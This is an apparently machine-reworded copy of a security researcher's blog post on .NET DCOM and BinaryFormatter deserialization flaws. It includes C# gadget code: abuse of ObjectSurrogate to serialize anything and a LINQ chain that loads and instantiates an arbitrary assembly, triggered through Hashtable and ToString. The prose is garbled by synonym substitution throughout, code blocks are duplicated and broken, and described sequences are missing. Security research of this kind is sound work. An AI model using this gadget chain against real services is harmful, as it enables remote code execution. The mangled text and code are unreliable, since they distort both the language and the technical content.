Posted yesteryear James Forshaw,
One of the to a greater extent than interesting classes of safety vulnerabilities are those affecting interoperability technology. This is because these vulnerabilities typically touching whatever application using the technology, regardless of what the application truly does. Also inwards many cases they’re hard for a developer to mitigate exterior of non using that technology, something which isn’t ever possible.
I discovered ane such vulnerability cast inwards the Component Object Model (COM) interoperability layers of .NET which brand the utilisation of .NET for Distributed COM (DCOM) across privilege boundaries inherently insecure. This spider web log postal service volition depict a dyad of ways this could endure abused, get-go to gain elevated privileges together with and so every bit a remote code execution vulnerability.
A Little Bit of Background Knowledge
If you lot expect at the history of .NET many of its early on underpinnings was trying to brand a amend version of COM (for a quick history lesson it’s worth watching this brusk video of Anders Hejlsberg discussing .NET). This led to Microsoft placing a large focus on ensuring that spell .NET itself powerfulness non endure COM it must endure able to interoperate alongside COM. Therefore .NET tin both endure used to implement every bit good every bit eat COM objects. For instance instead of calling QueryInterface on a COM object you lot tin merely cast an object to a COM compatible interface. Implementing an out-of-process COM server inwards C# is every bit uncomplicated every bit the following:
// Define COM interface.
[ComVisible(true)]
[InterfaceType(ComInterfaceType.InterfaceIsIDispatch)]
[Guid("3D2392CB-2273-4A76-9C5D-B2C8A3120257")]
public interface ICustomInterface {
void DoSomething();
}
// Define COM cast implementing interface.
[ComVisible(true)]
[Guid("8BC3F05E-D86B-11D0-A075-00C04FB68820")]
public class COMObject : ICustomInterface {
public void DoSomething() {}
}
// Register COM cast alongside COM services.
RegistrationServices reg = new RegistrationServices();
int cookie = reg.RegisterTypeForComClients(
typeof(COMObject),
RegistrationClassContext.LocalServer
| RegistrationClassContext.RemoteServer,
RegistrationConnectionType.MultipleUse);
[ComVisible(true)]
[InterfaceType(ComInterfaceType.InterfaceIsIDispatch)]
[Guid("3D2392CB-2273-4A76-9C5D-B2C8A3120257")]
public interface ICustomInterface {
void DoSomething();
}
// Define COM cast implementing interface.
[ComVisible(true)]
[Guid("8BC3F05E-D86B-11D0-A075-00C04FB68820")]
public class COMObject : ICustomInterface {
public void DoSomething() {}
}
// Register COM cast alongside COM services.
RegistrationServices reg = new RegistrationServices();
int cookie = reg.RegisterTypeForComClients(
typeof(COMObject),
RegistrationClassContext.LocalServer
| RegistrationClassContext.RemoteServer,
RegistrationConnectionType.MultipleUse);
A customer tin at nowadays connect to the COM server using it’s CLSID (defined yesteryear the Guid attribute on COMClass). This is inwards fact so uncomplicated to practise that a large number of heart classes inwards .NET are marked every bit COM visible together with registered for utilisation yesteryear whatever COM customer fifty-fifty those non written inwards .NET.
To brand this all piece of job the .NET runtime hides a large amount of boilerplate from the developer. There are a dyad of mechanisms to influence this boilerplate interoperability code, such every bit the InterfaceType attribute which defines whether the COM interface is derived from IUnknown or IDispatch but for the most component subdivision you lot larn what you’re given.
One thing developers maybe don’t realize is that it’s non merely the interfaces you lot specify which larn exported from the .NET COM object but the runtime adds a number of “management” interfaces every bit well. This interfaces are implemented yesteryear wrapping the .NET object within a COM Callable Wrapper (CCW).
We tin enumerate what interfaces are exposed yesteryear the CCW. Taking System.Object every bit an instance the next tabular array shows what interfaces are supported along alongside how each interface is implemented, either dynamically at runtime or statically implemented within the runtime.
Interface Name | Implementation Type |
_Object | Dynamic |
IConnectionPointContainer | Static |
IDispatch | Dynamic |
IManagedObject | Static |
IMarshal | Static |
IProvideClassInfo | Static |
ISupportErrorInfo | Static |
IUnknown | Dynamic |
The _Object interface refers to the COM visible representation of the System.Object cast which is the root of all .NET objects, it must endure generated dynamically every bit it’s subject on the .NET object existence exposed. On the other manus IManagedObject is implemented yesteryear the runtime itself together with the implementation is shared across all CCWs.
I started looking at the exposed COM assault surface for .NET dorsum inwards 2013 when I was investigating Internet Explorer sandbox escapes. One of the COM objects you lot could access exterior the sandbox was the .NET ClickOnce Deployment broker (DFSVC) which turned out to endure implemented inwards .NET, which is in all likelihood non likewise surprising. I truly constitute ii issues, non inwards DFSVC itself but instead inwards the _Object interface exposed yesteryear all .NET COM objects. The _Object interface looks similar the next (in C++).
struct _Object : public IDispatch {
HRESULT ToString(BSTR * pRetVal);
HRESULT Equals(VARIANT obj, VARIANT_BOOL *pRetVal);
HRESULT GetHashCode(long *pRetVal);
HRESULT GetType(_Type** pRetVal);
};
HRESULT ToString(BSTR * pRetVal);
HRESULT Equals(VARIANT obj, VARIANT_BOOL *pRetVal);
HRESULT GetHashCode(long *pRetVal);
HRESULT GetType(_Type** pRetVal);
};
The get-go põrnikas (which resulted inwards CVE-2014-0257) was inwards the GetType method. This method returns a COM object which tin endure used to access the .NET reflection APIs. As the returned _Type COM object was running within the server you lot could telephone band a chain of methods which resulted inwards getting access to the Process.Start method which you lot could telephone band to escape the sandbox. If you lot desire to a greater extent than details nearly that you lot tin expect at the PoC I wrote together with seat upwards on Github. Microsoft fixed this yesteryear preventing the access to the reflection APIs over DCOM.
The minute number was to a greater extent than subtle together with is a byproduct of a characteristic of .NET interop which presumably no-one realized would endure a safety liability. Loading the .NET runtime requires quite a lot of additional resources, so the default for a native COM customer calling methods on a .NET COM server is to allow COM together with the CCW contend the communication, fifty-fifty if this is a surgical operation hit. Microsoft could receive got chosen to utilisation the COM marshaler to strength .NET to endure loaded inwards the customer but this seems overzealous, non fifty-fifty counting the possibility that the customer powerfulness non fifty-fifty receive got a compatible version of .NET installed.
When .NET interops alongside a COM object it creates the inverse of the CCW, the Runtime Callable Wrapper (RCW). This is a .NET object which implements a runtime version of the COM interface together with marshals it to the COM object. Now it’s exclusively possible that the COM object is truly written inwards .NET, it powerfulness fifty-fifty endure inwards the same Application Domain. If .NET didn’t practise something you lot could terminate upwards alongside a double surgical operation hit, marshaling inwards the RCW to telephone band a COM object which is truly a CCW to a managed object.
It would endure dainty to essay together with “unwrap” the managed object from the CCW together with larn dorsum a existent .NET object. This is where the villain inwards this slice comes into play, the IManagedObject interface, which looks similar the following:
struct IManagedObject : public IUnknown {
HRESULT GetObjectIdentity(
BSTR* pBSTRGUID,
int* AppDomainID,
int* pCCW);
HRESULT GetSerializedBuffer(
BSTR *pBSTR
);
};
HRESULT GetObjectIdentity(
BSTR* pBSTRGUID,
int* AppDomainID,
int* pCCW);
HRESULT GetSerializedBuffer(
BSTR *pBSTR
);
};
When the .NET runtime gets concur of a COM object it volition choke through a procedure to determine whether it tin “unwrap” the object from its CCW together with avoid creating an RCW. This procedure is documented but inwards summary the runtime volition practise the following:
- Call QueryInterface on the COM object to determine if it implements the IManagedObject interface. If non together with so render an appropriate RCW.
- Call GetObjectIdentity on the interface. If the GUID matches the per-runtime GUID (generated at runtime startup) together with the AppDomain ID matches the electrical flow AppDomain ID together with so lookup the CCW value inwards a runtime tabular array together with extract a pointer to the existent managed object together with render it.
- Call GetSerializedBuffer on the interface. The runtime volition cheque if the .NET object is serializable, if so it volition exceed the object to BinaryFormatter::Serialize together with parcel the resultant inwards a Binary String (BSTR). This volition endure returned to the customer which volition at nowadays effort to deserialize the buffer to an object instance yesteryear calling BinaryFormatter::Deserialize.
Both steps 2 together with 3 audio similar a bad idea. For instance spell inwards 2 the per-runtime GUID can’t endure guessed; if you lot receive got access to whatever other object inwards the same procedure (such every bit the COM object exposed yesteryear the server itself) you lot tin telephone band GetObjectIdentity on the object together with replay the GUID together with AppDomain ID dorsum to the server. This doesn’t truly gain you lot much though, the CCW value is merely a number non a pointer so at best you’ll endure able to extract objects which already receive got a CCW inwards place.
Instead it’s measuring 3 which is truly nasty. Arbitrary deserialization is unsafe almost no thing what linguistic communication (take your pick, Code Integrity inwards Windows Powershell.
This Pb me to finding the ObjectSerializedRef class. This looks really much similar a cast which volition deserialize whatever object type, non merely serialized ones. If this was the instance together with so that would endure a really powerful primitive for edifice a to a greater extent than functional deserialization chain.
[Serializable]
private sealed class ObjectSerializedRef : IObjectReference,
private sealed class ObjectSerializedRef : IObjectReference,
IDeserializationCallback
{
private Type type;
private object[] memberDatas;
[NonSerialized]
private object returnedObject;
object IObjectReference.GetRealObject(StreamingContext context) {
returnedObject = FormatterServices.GetUninitializedObject(type);
return this.returnedObject;
}
void IDeserializationCallback.OnDeserialization(object sender) {
string[] array = null;
MemberInfo[] serializableMembers =
FormatterServicesNoSerializableCheck.GetSerializableMembers(
{
private Type type;
private object[] memberDatas;
[NonSerialized]
private object returnedObject;
object IObjectReference.GetRealObject(StreamingContext context) {
returnedObject = FormatterServices.GetUninitializedObject(type);
return this.returnedObject;
}
void IDeserializationCallback.OnDeserialization(object sender) {
string[] array = null;
MemberInfo[] serializableMembers =
FormatterServicesNoSerializableCheck.GetSerializableMembers(
type, out array);
FormatterServices.PopulateObjectMembers(returnedObject,
FormatterServices.PopulateObjectMembers(returnedObject,
serializableMembers, memberDatas);
}
}
}
}
Looking at the implementation the cast was used every bit a serialization surrogate exposed through the ActivitiySurrogateSelector class. This is a characteristic of the .NET serialization API, you lot tin specify a “Surrogate Selector” during the serialization procedure which volition supervene upon an object alongside surrogate class. When the flow is deserialized this surrogate cast contains plenty information to reconstruct the original object. One utilisation instance is to handgrip the serialization of non-serializable classes, but ObjectSerializedRef goes beyond a specific utilisation instance together with allows you lot to deserialize anything. H5N1 examine was inwards order:
// Definitely non-serializable class.
class NonSerializable {
private string _text;
public NonSerializable(string text) {
_text = text;
}
public override string ToString() {
return _text;
}
}
// Custom serialization surrogate
class MySurrogateSelector : SurrogateSelector {
public override ISerializationSurrogate GetSurrogate(Type type,
StreamingContext context, out ISurrogateSelector selector) {
selector = this;
if (!type.IsSerializable) {
Type t = Type.GetType("ActivitySurrogateSelector+ObjectSurrogate");
return (ISerializationSurrogate)Activator.CreateInstance(t);
}
return base.GetSurrogate(type, context, out selector);
}
}
static void TestObjectSerializedRef() {
BinaryFormatter fmt = new BinaryFormatter();
MemoryStream stm = new MemoryStream();
fmt.SurrogateSelector = new MySurrogateSelector();
fmt.Serialize(stm, new NonSerializable("Hello World!"));
stm.Position = 0;
// Should impress Hello World!.
Console.WriteLine(fmt.Deserialize(stm));
}
class NonSerializable {
private string _text;
public NonSerializable(string text) {
_text = text;
}
public override string ToString() {
return _text;
}
}
// Custom serialization surrogate
class MySurrogateSelector : SurrogateSelector {
public override ISerializationSurrogate GetSurrogate(Type type,
StreamingContext context, out ISurrogateSelector selector) {
selector = this;
if (!type.IsSerializable) {
Type t = Type.GetType("ActivitySurrogateSelector+ObjectSurrogate");
return (ISerializationSurrogate)Activator.CreateInstance(t);
}
return base.GetSurrogate(type, context, out selector);
}
}
static void TestObjectSerializedRef() {
BinaryFormatter fmt = new BinaryFormatter();
MemoryStream stm = new MemoryStream();
fmt.SurrogateSelector = new MySurrogateSelector();
fmt.Serialize(stm, new NonSerializable("Hello World!"));
stm.Position = 0;
// Should impress Hello World!.
Console.WriteLine(fmt.Deserialize(stm));
}
The ObjectSurrogate cast seems to piece of job almost likewise well. This cast totally destroys whatever promise of securing an untrusted BinaryFormatter stream together with it’s available from .NET 3.0. Any cast which didn’t score itself every bit serializable is at nowadays a target. It’s going to endure pretty slowly to observe a cast which spell invoke an arbitrary delegate during deserialization every bit the developer volition non endure doing anything to guard against such an assault vector.
Now merely to select a target to build out our deserialization chain. I could receive got chosen to poke farther at the Workflow classes, but the API is horrible (in fact inwards .NET iv Microsoft replaced the onetime APIs alongside a new, slightly nicer one). Instead I’ll pick a truly slowly to utilisation target, Language Integrated Query (LINQ).
LINQ was introduced inwards .NET 3.5 every bit a heart linguistic communication feature. H5N1 novel SQL-like syntax was introduced to the C# together with VB compilers to perform queries across enumerable objects, such every bit Lists or Dictionaries. An instance of the syntax which filters a listing of names based on length together with returns the listing uppercased is every bit follows:
string[] names = { "Alice", "Bob", "Carl" };
IEnumerable<string> inquiry = from cite in names
where name.Length > 3
orderby name
select name.ToUpper();
foreach (string item in query) {
Console.WriteLine(item);
}
IEnumerable<string> inquiry = from cite in names
where name.Length > 3
orderby name
select name.ToUpper();
foreach (string item in query) {
Console.WriteLine(item);
}
You tin also persuasion LINQ non every bit a inquiry syntax but instead a way of doing listing comprehension inwards .NET. If you lot call upwards of ‘select’ every bit equivalent to ‘map’ together with ‘where’ to ‘filter’ it powerfulness brand to a greater extent than sense. Underneath the inquiry syntax is a series of methods implemented inwards the System.Linq.Enumerable class. You tin write it using normal C# syntax instead of the inquiry language; if you lot practise the previous instance becomes the following:
IEnumerable<string> inquiry = names.Where(name => name.Length > 3)
.OrderBy(name => name)
.Select(name => name.ToUpper());
.OrderBy(name => name)
.Select(name => name.ToUpper());
The methods such every bit Where take ii parameters, a listing object (this is hidden inwards the higher upwards example) together with a delegate to invoke for each entry inwards the enumerable list. The delegate is typically provided yesteryear the application, even so there’s zilch to halt you lot replacing the delegates alongside organisation methods. The of import thing to conduct inwards hear is that the delegates are non invoked until the listing is enumerated. This agency nosotros tin build an enumerable listing using LINQ methods, serialize it using the ObjectSurrogate (LINQ classes are non themselves serializable) together with so if nosotros tin strength the deserialized listing to endure enumerated it volition execute arbitrary code.
Using LINQ every bit a primitive nosotros tin create a listing which when enumerated maps a byte array to an instance of a type inwards that byte array yesteryear the next sequence:
The only tricky component subdivision is measuring 2, we’d similar to extract a specific type but our only existent option is to utilisation the Enumerable.Join method which requires some weird kludges to larn it to work. H5N1 amend option would receive got been to utilisation Enumerable.Zip but that was only introduced inwards .NET 4. So instead we’ll merely larn all the types inwards the loaded assembly together with create them all, if nosotros merely receive got ane type together with so this isn’t going to brand whatever difference. How does the implementation expect inwards C#?
static IEnumerable CreateLinq(byte[] assembly) {
List<byte[]> base_list = new List<byte[]>();
base_list.Add(assembly);
var get_types_del = (Func<Assembly, IEnumerable<Type>>)
List<byte[]> base_list = new List<byte[]>();
base_list.Add(assembly);
var get_types_del = (Func<Assembly, IEnumerable<Type>>)
Delegate.CreateDelegate(
typeof(Func<Assembly, IEnumerable<Type>>),
typeof(Assembly).GetMethod("GetTypes"));
return base_list.Select(Assembly.Load)
.SelectMany(get_types_del)
.Select(Activator.CreateInstance);
}
typeof(Func<Assembly, IEnumerable<Type>>),
typeof(Assembly).GetMethod("GetTypes"));
return base_list.Select(Assembly.Load)
.SelectMany(get_types_del)
.Select(Activator.CreateInstance);
}
The only non-obvious component subdivision of the C# implementation is the delegate for Assembly::GetTypes. What nosotros take is a delegate which takes an Assembly object together with returns a listing of Type objects. However every bit GetTypes is an instance method the default would endure to capture the Assembly class together with shop it within the delegate object, which would resultant inwards a delegate which took no parameters together with returned a listing of Type. We tin larn around this yesteryear using the reflection APIs to create an opened upwards delegate to an instance member. An opened upwards delegate doesn’t shop the object instance, instead it exposes it every bit an additional Assembly parameter, just what nosotros want.
With our enumerable listing nosotros tin larn the assembly loaded together with our ain code executed, but how practise nosotros larn the listing enumerated to start the chain? For this decided I’d essay together with observe a cast which when calling ToString (a pretty mutual method) would enumerate the list. This is slowly inwards Java, almost all the collection classes receive got this exact behavior. Sadly it seems .NET doesn't follow Java inwards this respect. So I modified my analysis tools to essay together with hunt for gadgets which would larn us there. To cutting a long storey brusk I constitute a chain from ToString to IEnumerable through 3 dissever classes. The chain looks something similar the following:
Are nosotros done yet? No, merely ane to a greater extent than step, nosotros take to telephone band ToString on an arbitrary object during deserialization. Of class I wouldn’t receive got chosen ToString if I didn’t already receive got a method to practise this. In this terminal instance I’ll choke dorsum to abusing poor, old, Hashtable. During deserialization of the Hashtable cast it volition rebuild its fundamental set, which nosotros already know nearly every bit this is how I exploited serialization for local EoP. If ii keys are equal together with so the deserialization volition neglect alongside the Hashtable throwing an exception, resulting inwards running the following code:
throw new ArgumentException(
Environment.GetResourceString("Argument_AddingDuplicate__",
buckets[bucketNumber].key, key));
Environment.GetResourceString("Argument_AddingDuplicate__",
buckets[bucketNumber].key, key));
It’s non straight off obvious why this would endure useful. But maybe looking at the implementation of GetResourceString volition movement into clearer:
internal static String GetResourceString(String key, params Object[] values) {
String s = GetResourceString(key);
return String.Format(CultureInfo.CurrentCulture, s, values);
}
String s = GetResourceString(key);
return String.Format(CultureInfo.CurrentCulture, s, values);
}
The fundamental is passed to GetResourceString within the values array every bit good every bit a reference to a resources string. The resources string is looked upwards together with along alongside the fundamental passed to String.Format. The resulting resources string has formatting codes so when String.Format encounters the non-string value it calls ToString on the object to format it. This results inwards ToString existence called during deserialization kicking off the chain of events which leads to us loading an arbitrary .NET assembly from retentivity together with executing code inwards the context of the WMI client.
You tin consider the terminal implementation inwards latest the PoC I’ve added to the issue tracker.
Conclusions
Microsoft fixed the RCE number yesteryear ensuring that the System.Management classes never straight creates an RCW for a WMI object. However this prepare doesn’t touching whatever other utilisation of DCOM inwards .NET, so privileged .NET DCOM servers are silent vulnerable together with other remote DCOM applications could also endure attacked.
Also this should endure a lesson to never deserialize untrusted information using the .NET BinaryFormatter class. It’s a unsafe thing to practise at the best of times, but it seems that the developers receive got abandoned whatever promise of making secure serializable classes. The presence of ObjectSurrogate effectively agency that every cast inwards the runtime is serializable, whether the original developer wanted them to endure or not.
And every bit a terminal thought you lot should ever endure skeptical nearly the safety implementation of middleware particularly if you lot can’t inspect what it does. The fact that the number alongside IManagedObject is designed inwards together with hard to withdraw makes it really hard to prepare correctly.
Komentar
Posting Komentar